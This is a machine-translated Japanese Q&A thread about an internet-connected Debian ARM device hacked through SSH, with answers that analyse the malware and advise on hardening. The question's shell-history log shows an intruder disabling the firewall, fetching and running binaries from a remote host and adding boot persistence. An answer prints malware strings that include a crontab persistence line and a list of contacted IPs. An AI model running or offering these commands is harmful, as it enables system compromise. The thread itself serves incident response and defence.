web-dev-qa-db-ja.com

ハッキングされたのですか?

私は消費者製品を開発しています、そしてそれはインターネットに接続されることになっているので、予想通りに、それは私がそれを適切に開発することができるようにインターネットに接続されます。

私は1時間か2時間で行きました、そして、私が私のオフィスに戻ったとき、私はターミナルにいくつかの奇妙なコマンドが書かれているのに気付きました。

auth.logと呼ばれるLinuxログファイルを見ると、私は以下の行を見ることができます(他にもたくさんあります):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IPアドレス40.127.205.162は、マイクロソフトが所有する ことがわかりました

ここに私がいない間に使用されたコマンドの束があります:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  Nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  Nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  Nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  Nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  Nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  Nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  Nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

もっと:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  Nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  Nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

私はこれに全く気付いていませんでした。製品を正しく保護するにはどうすればよいですか。

完全なauth.logファイルを投稿したいです。それ、どうやったら出来るの?

また、ダウンロードされたファイルyjz1はLinuxのトロイの木馬であるように思われます、そしてこれらすべては http://anti-hacker-alliance.comによるとある種のハッカーグループによって行われるようです。 /index.php?ip=40.127.205.162

マイクロソフトに電話して話をする必要がありますか。私は何をすべきか?

490
vaid

編集2

この投稿が非常に注目されている1つの正当な理由があります。侵入者のライブセッション全体をPCで記録できたからです。これは、彼の行動の結果の発見に対処し、それらを是正しようとする日常の経験とは非常に異なります。ここで私たちは彼が職場にいるのを見て、彼がバックドアを確立するのにいくつかの問題を抱えているのを見て、彼のステップをたどり、熱心に働いています(おそらく、彼はあなたの机に座っていたからですシステム上でマルウェアを実行させることはできません(以下をお読みください)。完全に自己完結した制御手段を展開しようとします。これは、セキュリティ研究者がハニートラップで毎日目撃するものです。私にとって、これは非常にまれな機会であり、娯楽の源です。


あなたは間違いなくハッキングされています。この証拠は、表示したauth.logファイルのスニペットに由来します not 。これは、短い時間(2秒)にわたって発生したログイン試行の失敗を報告するためです。 。 2行目にはFailed passwordが表示され、3行目にはpre-auth切断が報告されていることがわかります。

代わりに、証拠は、攻撃者がシステムにダウンロードした2つのファイルhttp://222.186.30.209:65534/yjzおよびhttp://222.186.30.209:65534/yjz1のコンテンツから得られます。

このサイトは現在、誰でもダウンロードできるようになっています。私は最初にfileを実行しました。

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

次に、それらを64ビットDebian VMに持ち込みました。 stringsコマンドを介したコンテンツの検査により、疑わしいものが多数明らかになりました(さまざまな既知の攻撃、置き換えられるコマンド、新しいサービスのセットアップに明確に使用されたスクリプトなど)。

次に、両方のファイルのMD5ハッシュを作成し、それらを Cymru's ハッシュデータベースにフィードして、マルウェアの既知のエージェントであるかどうかを確認しました。 yjzはそうではありませんが、yjz1はそうであり、Cymruは58%のウイルス対策ソフトウェアによる検出の確率を報告します。また、このファイルは3日前に最後に見られたため、かなり最近のものであると述べています。

取得した2つのファイルで clamscanclamavパッケージの一部)を実行します。

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

そのため、標準のLinuxソフトウェアで識別できるようになりました。

あなたは何をすべきですか?

どちらかと言えば新しいシステムですが、どちらも非常に新しいものではありません たとえば、2015年1月のXorDdosに関する記事を参照 。そのため、ほとんどの無料パッケージでは削除できます。試す必要があります:clamavrkhunterchkrootkit。私はグーグルで調べましたが、彼らはそれを見つけることができると主張しているのを見ました。それらを使用して前任者の作業を確認しますが、これらの3つのプログラムを実行した後は準備ができているはずです。

大きな質問what should you do to prevent future infectionsについては、ジャーニーマンの答えが良い第一歩です。それは継続的な闘争であり、私を含めて私たち全員がそれを知らずに失ってしまったかもしれないことを心に留めておいてください。

編集

Viktor Tothの(間接)プロンプトで、いくつかコメントを追加したいと思います。侵入者がいくつかの困難に直面したことは確かです。彼は2つの異なるハッキングツールをダウンロードし、許可を数回変更し、それらを数回再起動し、ファイアウォールを無効にしようと何度も試みます。何が起こっているのか推測するのは簡単です:彼はハッキングツールが感染したPCの1つに向けて通信チャネルを開くことを期待し(後述)、この新しいチャネルが彼のコントロールGUIに表示されない場合、ハッキングを恐れますツールはファイアウォールによってブロックされているため、インストール手順を繰り返します。私は彼の手術のこの特定の段階は期待された成果をもたらさないように見えるというビクトル・トスに同意しますが、私はあなたに非常に強く与えられた損害の程度を過小評価しないことを奨励したいと思いますあなたのPCで。

ここで、strings yjz1の部分的な出力を提供します。

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

これは、サービス(/etc/init.dおよび/etc/rc.d)、crontabmysqlの履歴ファイル、およびprocのリンクであるbashのいくつかのファイルの改ざんの証拠を提供します。シェルのカスタムメイドの不正バージョンが植えられています)。次に、プログラムはHTTPリクエストを生成します(中国語圏のサイト、

 Accept-Language: zh-cn

上記のDavid Schwartzのコメントに実質を与えています)、さらに混乱を引き起こす可能性があります。リクエストでは、バイナリ(Content-Type: application/x-www-form-urlencoded)が攻撃対象のPCにダウンロードされ(GET)、制御マシンにアップロードされます(POST)。攻撃されたPCにダウンロードされるものを確立できませんでしたが、yjzyjz1の両方のサイズが小さい(1.1MBと600kB、それぞれ)ため、大部分のファイルがクローキングに必要であると推測できますルートキット、ielsnetstatpsifconfig、...の変更されたバージョンは、この方法でダウンロードされます。そして、これは、このダウンロードを実行しようとする攻撃者の熱心な試みを説明します。

上記がすべての可能性を使い果たすという確実性はありません。トランスクリプトの一部(行457と481の間)が確かに欠けており、ログアウトが表示されません。さらに、特に気になるのは495〜497行です。

cd /tmp;  ./yd_cd/make

これはダウンロードされていないファイルを参照し、mightコンパイルである場合:攻撃者は(最終的に)実行可能ファイルの問題を理解したことを意味します、それを修正しようとしています。その場合、攻撃されたPCは永久に消えてしまいました。 [実際、攻撃者がハッキングされたマシン(および私は64ビットDebian VMに)にダウンロードしたマルウェアの2つのバージョンは、x86の不適切なアーキテクチャ用であり、ハッキングされたPCの名前だけでは、彼は腕のアーキテクチャを扱っていた]。

私がこの編集を書いた理由は、あなたのシステムをプロの楽器と組み合わせること、またはゼロから再インストールすることのどちらかをあなたにできる限り強く促すためです。

ところで、これが誰にとっても有用であると判明した場合、これはyjzが接続しようとする 331 IPアドレスのリストです。このリストは非常に大きいため(おそらくさらに大きくなる予定です)、mysqlを改ざんする理由だと思います。他のバックドアによって提供されるリストは同一であり、これは、そのような重要な情報を公開しておく理由です(私思考攻撃者は望んでいませんそれらをカーネル形式で保存する努力をするために、彼はすべてのリストをクリアテキストファイルに入れました。これはおそらく、どのOSでもバックドアのすべてによって読み込まれます):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

次のコード

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

上記のリストには、合計331アドレスのうち 302 が中国本土にあり、残りのアドレスが香港、モンゴルにあることが示されています、台湾。これは、これがほとんど中国のボットリングであるというDavid Schwartzの主張にさらなるサポートを追加します。

編集3

@vaidのリクエスト(OPの作成者、以下のコメントを読んでください)で、基本的なLinuxシステムのセキュリティを強化する方法についてコメントを追加します(多くのサービスを提供するシステムの場合、これははるかに複雑なトピックです)。 vaidは、次のことを行ったことを示しています。

  1. システムを再インストールします

  2. ルートパスワードを、大文字と小文字、文字と数字が混在する16文字のパスワードに変更しました。

  3. ユーザー名を6文字の長さの混合ユーザー名に変更し、ルートに使用したものと同じパスワードを適用しました

  4. sSHポートを5000以上に変更しました

  5. sSHルートログインをオフにしました。

多くの便利なプログラムが10,000未満のポートを使用するため、これは問題ありません(10,000を超えるポートを使用することを除く)。しかし、パスワードの代わりにssh login に暗号鍵を使用する必要性を十分に強調することはできません。個人的な例を挙げましょう。私のVPSの1つで、sshポートを変更するかどうか不確かでした。 22のままにしておきましたが、認証に暗号キーを使用しました。 1日あたり数百の侵入試行 /があり、成功しなかった。誰も成功しなかったことを毎日チェックするのに疲れて、私は最終的にポートを10,000以上に切り替えたとき、侵入試行はゼロになりました。ハッカーが愚かであるというわけではありません(そうではありません!)、彼らは簡単に獲物を追い詰めるだけです。

署名アルゴリズムとしてRSAを使用して暗号キーをアクティブにするのは簡単です。以下のJan Hudecのコメントを参照してください(ありがとう!)。

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

これで、ファイルid_rsaを接続元のマシン(ディレクトリ.ssh、700にchmod 'ed)にコピーし、コマンドを発行するだけです。

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

これが機能することを確認したら、サーバー(=接続するマシン)でファイル/etc/ssh/sshd_configを編集し、行を変更します

#PasswordAuthentication yes

PasswordAuthentication no

sshサービス(service ssh restartまたはsystemctl restart ssh、またはディストリビューションに応じてこのようなもの)を再起動します。

これは多くのことに耐えます。実際、現在、openssh v2、およびopenssh v2で使用されているRSAの現在のバージョンに対する既知のエクスプロイトはありません。

最後に、マシンを実際にボルトダウンするには、ファイアウォール(netfilter/iptables)を次のように構成する必要があります。

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

これは、1)LANとWANの両方からのssh接続を許可します、2)リクエストによって発生したすべての入力を許可します(たとえば、Webページを読み込むとき)、3)入力上の他のすべてをドロップします、4)すべてを許可します出力、および5-6)ループバックインターフェイス上のすべてを許可します。

ニーズが拡大し、さらに多くのポートを開く必要がある場合、リストの先頭に次のようなルールを追加することにより、開くことができます。

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

たとえば、ユーザーがWebブラウザにアクセスできるようにします。

487
MariusMatutiae

インターネットへようこそ - オープンなSSHサーバが攻撃され、強引に攻撃され、さまざまな威厳が強まる可能性があります。

開始するには、製品のストレージを完全に消去する必要があります。あなたが法医学のためにそれを伝えたいのであれば、それをイメージしてください。

当て推量のビット

  1. あなたはブルートフォースまたは共通のパスワードを使うようになりました。あいまいさによるセキュリティですが、SSHで開かれたrootアカウントを使用するために辞書のパスワードを使用することは望ましくありません。それがオプションである場合はルートSSHアクセスを無効にするか、少なくとも名前を変更して両方を推測する必要があります。とにかくrootとしてSSHを使うことはひどいセキュリティ慣行です。 rootを使用する必要がある場合は、別のユーザーとしてログインし、suまたはSudoを使用して切り替えます。

  2. 製品によっては、SSHアクセスを何らかの方法で制限したい場合があります。完全なロックダウンは良い考えのように聞こえ、ユーザが必要に応じてそれを開くことができるようにします。確保できるリソースに応じて、自分のサブネット内のIPアドレスのみ、またはある種のログイン調整システムを許可することを検討してください。あなたが最終製品にそれを必要としない場合は、それがオフになっていることを確認してください。

  3. 標準以外のポートを使用してください。あいまいさによるセキュリティですが、攻撃者があなたのポートを標的にする必要があることを意味します。

  4. デフォルトのパスワードを使用しないでください。私が見た最善の方法は、特定のデバイス用のパスワードをランダムに生成し、それをあなたの製品と共に出荷することです。ベストプラクティスはキーベースの認証ですが、マスマーケット製品でどのようにしてそれにアプローチするのかわかりません。

141
Journeyman Geek

ああ、あなたは間違いなくハッキングされています。誰かがrootの認証情報を取得し、システムにトロイの木馬をダウンロードしようとしたようです。 MariusMatutiaeはペイロードの分析を行いました。

2つの質問が起こります:a)攻撃者は成功しましたか?そしてb)あなたはそれについて何ができますか?

最初の質問に対する回答は、いいえです。攻撃者がペイロードを繰り返しダウンロードして実行しようとしていることに注目してください。明らかに成功していません。何か(SELinux、perchance?)が彼の邪魔をしていたのではないかと思います。

しかし、攻撃者はシステムを再起動するとペイロードが有効になることを期待して、/etc/rc.d/rc.localファイルも改ざんしました。まだシステムを再起動していない場合は、これらの変更を/etc/rc.d/rc.localから削除するまで再起動しないでください。すでに再起動しているのであれば...うーん、頑張ってください。

あなたがそれについて何ができるかについて:するべき最も安全なことはシステムを一掃し、最初から再インストールすることです。しかし、これは常に選択肢とは限りません。できる限り安全性が非常に低いのは、起こったことを正確に分析し、可能であればそのすべての痕跡を拭くことです。システムを再起動していない場合は、/etc/rc.d/rc.localをクリーンにして、攻撃者がダウンロードしたものをすべて削除し、最後に重要なことを忘れないでください。

ただし、攻撃者が既にペイロードを実行できていた場合は、システムにその他の変更が加えられているため、検出が困難になる可能性があります。完全なワイプが本当に唯一の安全な(そして推奨される)オプションであるのはそのためです。あなたが示したように、問題の機器はテスト/開発のターゲットかもしれませんので、おそらくそれを拭くことはそれが他のケースでそうであるかもしれないほど痛くないです。

アップデート:可能性のある回復について書いたものにもかかわらず、このペイロードによって引き起こされる潜在的な損害を過小評価しないようにMariusMatutiaeの非常に強い勧告を反省したいです。ターゲットシステムを侵害した可能性のある範囲。

33
Viktor Toth

私のsshdハニーポットもこの種の攻撃を見ました。そのURLからの最初のダウンロードは2016-01-29 10:25:33から始まり、攻撃はまだ進行中です。攻撃は/から来ていた

103.30.4.212
111.68.6.170
118.193.228.169

これらの攻撃者からの入力は次のとおりです。

 service iptables stop 
 wget http://222.186.30.209:65534/yjz1
Nohup/root/yjz1>/dev/null 2>&amp1&
 chmod 0777 yjz1 
 chmod u + x yjz1 
。/ yjz1&
 chmod u + x yjz1 
。/ yjz1&
 cd/tmp 
 ____。]

そのため、後でバックドアを取り付ける以外の活動はありません。

17

ここにいる人全員がしっかりとしたアドバイスを提供してくれましたが、明らかにあなたの優先順位はあなたがそのシステムから本当に必要なものをバックアップし検証することです。

新しくインストールしたホストをインターネットに接続する前に、次のアイデアを実行してください。

  1. 新しい非rootユーザーを作成し、そのユーザーとしてログインします。 rootでログインする必要はありません。必要に応じてSudo(代替ユーザーが行う)だけです。

  2. SE Linux、必須アクセス制御を有効にする設定をインストールします。 https://wiki.debian.org/SELinux/Setup

  3. あなたのオフィス/自宅とインターネットの間のハードウェアファイアウォールを考えてください。私はMicroTikを使用しています。これは優れたコミュニティサポートを持っています: http://routerboard.com/

あなたがあなたの有料の仕事を完成するための予定表にいると仮定すると、少なくとも#1をしなさい。 #3は速くて安いですが、郵便で荷物を待つか、店に行く必要があります。

11
pyn
  1. あなたのホスト名はdebian-armhfですか?それとも、デフォルト設定でデフォルトインストールを使用しますか?問題はありませんが、ホストがインターネットに直接公開されることを許可しないでください(つまり、少なくともモデムによって保護されていないなど)。

  2. 本当の問題は222.186.30.209から来ているようです( http://anti-hacker-alliance.com/index.phpを参照)。 ?ip = 222.186.30.209 )。あなたは、マイクロソフトのIPを見ることにあまり注意を払うべきではありません。 IPは、多かれ少なかれかなり簡単に偽装/なりすましが可能です。

  3. インターネットに接続する通常の方法は、あなたのパブリックIP(例:8.8.8.8)からあなたのローカル(例:192.168.1.12)に既知のポートのリストを転送することです。

    • たとえば、すべての着信接続を8.8.8.8(public)から192.168.1.12(local)に転送しないでください。

    • 転送専用ポート22および25(それぞれsshおよび受信メール)。もちろん、最新のsshおよびsmtpパッケージ/ライブラリも必要です。

  4. 次は何ですか?ホストを切断し、/etc/shadowのシェルスクリプトにハードコードされているパスワード(組織に関連付けられているすべてのコンピュータのパスワード)を変更します。

11
Archemar

他の人が言ったように、サーバーのセキュリティが危険にさらされているのは明らかです。最も安全なことは、このマシンを拭いて再インストールすることです。

公開鍵認証を使用できない場合の質問の後半部分に答えるには、少なくともFail2Banを設定し、非標準ポートでSSHを実行することをお勧めします。ルートSSHアクセスも無効にします。

Fail2Ban は、特定の回数ログインに失敗したIPアドレスを禁止することで総当たり攻撃を軽減するのに役立ちます。

Sshdを標準以外のポートでlistenするように設定すると、少なくともSSHサーバーの可視性を少し低下させるのに役立ちます。ルートログオンを無効にすると、攻撃プロファイルもわずかに減少します。 /etc/sshd_config内:

PermitRootLogin no
Port xxxxx

Rootログインを無効にした場合は、接続後にsuでrootに切り替えるか、(より好ましくは) Sudo で特権コマンドを実行する必要があります。

9
Nate H

SSHサーバーはインターネット上で常に攻撃を受けています。あなたがすることのカップル:

  1. インターネットにアクセスできるマシンの場合は、非常に安全なランダムパスワードを使用してください。私は16文字以上で完全にランダムのような意味です。あなたがそれを暗記する必要はありませんので、パスワードマネージャを使用してください。あなたがあなたのパスワードを記憶することができるならば、それはあまりにも単純です。

  2. SSHが必要ない場合は、オフにしてください。あなたがそれを必要としているけれどもそれを公にアクセス可能にする必要がないなら、高い、非標準ポート番号でそれを実行してください。これを行うことはハックの試みを劇的に減らすでしょう。はい、熱心なハッカーはポートスキャンをすることができますが、自動ボットはそれを見つけることができません。

認証ログのスニペットは失敗した試行を示しています。しかし、あなたがさらに見ればあなたは間違いなく成功したログインを見るでしょう。それはあなたが簡単なパスワードを使用する、それでそれはボットが入るのは簡単です。

このマシンをネットワークから隔離する必要があります。非常に慎重にあなたがそれから必要なものを入手し、それからそれを拭いてください。

8
user1751825

誰でも/誰でも、正面向きのLinux/Unixサーバーをセットアップした後に最初にすべきことは、rootを直ちに無効にすることです。

システムが侵害されました。実行履歴ログがあり、ある程度見るのがいいかもしれません。ただし、詳細を正直に分析することは少し気難しいことであり、サーバーのセキュリティ保護には役立ちません。これは、ボットネットがマルウェアを生成したときに発生するあらゆる種類のナンセンスを示しています。これは、おそらくサーバーに感染したものですが、Linuxシステムに感染します。 @ MariusMatutiaeが提供する回答 は素晴らしく、よく考えられており、マルウェア/ボットネットの濡れた夢であるrootアクセスを介してハッキングされたことを繰り返す人もいます。

rootを無効にする方法についてはいくつか説明がありますが、私は個人的な経験から述べますが、今説明することを超えるものはほとんどやり過ぎです。これは、サーバーを最初にセットアップしたときにshouldしていたことです。

  1. Sudo権限を持つ新しいユーザーを作成します:Sudo adduser cooldudeなどのコマンドを使用して、cooldudeのような新しい名前で新しいユーザーを作成しますUbuntuまたは別のタイプのDebianシステムを使用しています。次に、このSudo nano /etc/sudoersのようなコマンドを使用してSudoファイルを手動で編集し、cooldude ALL=(ALL:ALL) ALLに相当する行の下にroot ALL=(ALL:ALL) ALLのような行を追加します。完了したら、cooldudeとしてログインし、SudoコマンドをSudo wなどのコマンドでテストします(基本的かつ非破壊的)。Sudo権限が機能するかどうかを確認します。パスワードの入力を求められる場合があります。うまくいく?いいね!次のステップに進みます。
  2. rootアカウントをロックします:さて、cooldudeSudo権限を担当するようになったので、cooldudeとしてログインし、このコマンドを実行してルートアカウントをロックしますSudo passwd -l root。何らかの理由でrootのSSHキーペアを作成した場合は、/root/.ssh/authorized_keysを開いてキーを削除します。または、さらに良いことに、このファイルの名前をauthorized_keys_OFFのように、Sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFのように変更して、SSHキーを効果的に無効にします。パスワードが不要なログインが必要な場合は、そのファイルを元の名前に戻すだけでいいので、後者の方が好きです。

